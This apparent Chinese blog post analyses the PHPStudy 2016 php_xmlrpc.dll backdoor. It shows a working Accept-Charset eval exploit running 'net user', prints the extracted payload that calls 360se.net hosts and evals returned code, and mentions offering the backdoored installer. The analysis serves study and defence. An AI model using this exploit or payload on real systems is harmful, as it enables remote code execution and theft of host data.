几天前火绒说我的PHPstudy有马,我以为是误报没有在意,但接着我就在知乎上看到了PHPstudy真可能有后门,于是赶紧看了一下,还真有,是我之前下的2016版的,而我在官网下的2019的phpstudy_pro没有问题(文末给出了有后门(!!!)的安装包)
可以看到php-5.2.17/ext/php_xmlrpc.dll
和php-5.4.45/ext/php_xmlrpc.dll
里有可疑的@eval
字符,看来是有一句话了
根据网上的poc
利用一下(要在phpstudy里手动使用php5.2.17或是5.4.45版本,而且要使用php_xmlrpc扩展)
使用burpsuite进行改包发送,这里我用的是pentestbox里的FirefoxPortable和pentestbox里的burpsuite社区版,比专业版少了一个探测网站漏洞的功能
用foxyproxy设置一下代理(就是侧边栏上的狐狸头,或者Tools->FoxyProxy Standard)
这里使用本地的8080端口是因为burpsuite默认使用这个端口
刷新一下localhost的网页得到一个拦截(最好直接访问localhost,这应该会显示php探针),右键发送到repeater里去(或者快捷键<ctrl>+R)
在repeater里改一下包
注意:这里要该改为使用/
访问网站根目录如果之前访问的是其他网页的话
accept-encoding
后的字段里的逗号后面有空格要删掉
加入一个accept-charset
字段,内容为你想在@eval()
里执行的命令的base64
编码
这里是system("net user");
,编码后是c3lzdGVtKCJuZXQgdXNlciIpOw==
点一下Go按钮返回了执行net user
后的结果
包的最后要留两个空行(两个\n\r
,十六进制为两个0d0a
)
接着试试tamper data 注:firefoxportable里的tamper data插件因为版本问题被禁了,需要修改一下,可以看我的另一篇博客:pentestbox的firefox踩坑
关掉foxyproxy后,在firefox里的Tools->Tamper Data
点一下,点start Tamper
,刷新一下后点Tamper改包,去掉accept-encoding
里逗号后的空格,在空白处右键add element
输入Accept-Charset=c3lzdGVtKCJuZXQgdXNlciIpOw==
,再点OK
结果如图
可以看见返回了结果
关于该后门的分析
md5校验可以看见和(现在)官网的不一样
用010editor可以看见校验值为0
用ida打开xml_rpc.dll
搜索字符串,发现可疑的@eval
去看看它们的引用,都在一个函数里
aEvalSS
的值为串@eval(%s('%s'));
,aGzuncompress的值为串gzuncompress
,spprintf
是一个字符拼接函数
spprintf is the dynamical version of snprintf. It allocates the buffer in size
as needed and allows a maximum setting as snprintf (turn this feature
off by setting max_len to 0). spprintf is a little bit slower than
snprintf and offers possible memory leakes if you miss freeing the
buffer allocated by the function. Therefore this function should be
used where either no maximum is known or the maximum is much bigger
than normal size required. spprintf always terminates the buffer.
结果是v43指向@eval(gzuncompress(v43))
,gzuncompress
是一个php提供的解压函数,所以恶意代码内容在v43
里,往上看看
可以看到这是将asc_1000c028
到unk_1000C66C-4
进行了处理后写到了v43里,然后我没看到这一段地址间有0x27
,所以好像直接解压就可以了?
而看另一个字符可以看到100c66c
到1000d5c4-4
之间是另一段恶意代码
解压这两段(python实现)(我没跑):用pefile
获取gzuncompress
的位置,往后0x10
就是第一段开头,再后0x644
是第二段开头,然后用zlib.decompress
(python3)
可以参考
phpStudy遭黑客入侵植入后门事件披露 | 微步在线报告
php2python
出来时是base64编码在用base64.b64decode()
就可以出来,到这儿这两个执行差不多,可是它们的执行条件不同
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
这上面的一段像本地发送了一个请求,有Accept-Encoding
头且值为compress,gzip
其实是给第二段创造执行条件,我们后面可以看到
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
这一段是向域名为.360se.net的好几个子域名的几个端口传东西
再在IDA里向上看,第二段要求**v36
指向的内容等于aCompressGzip
(compress,gzip
),再向上,要求**v36
指向的串不等于aGzipDeflate
(gzip,deflate
),而这个值就是Accept-Encoding
字段的值,所以如果没有aServer
(_SERVER
)或是Accept-Encoding
字段也不行,而如果Accept_Encoding
字段是aGzipDeflate
(gzip,deflate
)的话,在找一下有没有Accept-Charset
字段,如果有的话就base64解密后进行执行(就是上面我们用的),详情见下图注释
而第二段的触发条件则是几个地址数据的比较,我们可以查看引用发现这几个地址都被sub_10001010
引用并进行了改写
我们查看该函数的引用
根据参考资料我们可以知道这是一个_zend_module_entry
结构体
sub_10001010只在开始加载时执行一次,而sub_10003490在每一次接收到http请求时执行一次,而这个函数正是我们之前分析的含有恶意代码的,而sub_10001010也关系到了第一段代码的执行条件
start_time为上次进入该条件的时间,current_time为这次的,sub_10001010做了初始化,要求他们的差值在60-100分钟之间才能进入条件进行执行代码段一
我们测试一下
在C:\Windows\System32\drivers\etc\hosts
写入
192.168.226.129 www.360se.net
192.168.226.129 bbs.360se.net
192.168.226.129 cms.360se.net
192.168.226.129 down.360se.net
192.168.226.129 up.360se.net
192.168.226.129 file.360se.net
192.168.226.129 ftp.360se.net
192.168.226.129是我Kali虚拟机的ip地址
我们只用试试40125端口就行了
server.py(kali上跑的脚本:监听tcp:40125端口并回显一下内容)
import socket
import datetime
bind_ip = "192.168.226.129"
bind_port = 40125
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
while True:
client,addr = server.accept()
print("now:{}".format(datetime.datetime.now()))
print("address:{}".format(addr))
data=client.recv(2048)
print("data:{}".format(data))
print()
client.close()
client.py(就在物理机上跑了,192.168.226.1是我物理机的ip,每秒向phpstudy发送http请求)
import requests
import time
req_num=0
target='http://192.168.226.1'
for i in range(6000):
requests.get(target)
req_num+=1
print('[+]{}'.format(req_num))
time.sleep(1)
用keypatch修改一下等待时间
再用010editor修改一下interval的基础值(从083eh(十进制1000)到00h)
这样interval就是一个[76,133]的值了,这是我们可以收到回应的间隔时间
结果如图,被遮住的地方经过base64解码后可以看到我的磁盘序列号和网卡的mac地址
这里给出有后门(!!!)的phpstudy zip安装包
参考:
phpStudy后门简要分析
PHPStudyGhost后门隐蔽触发功能详细分析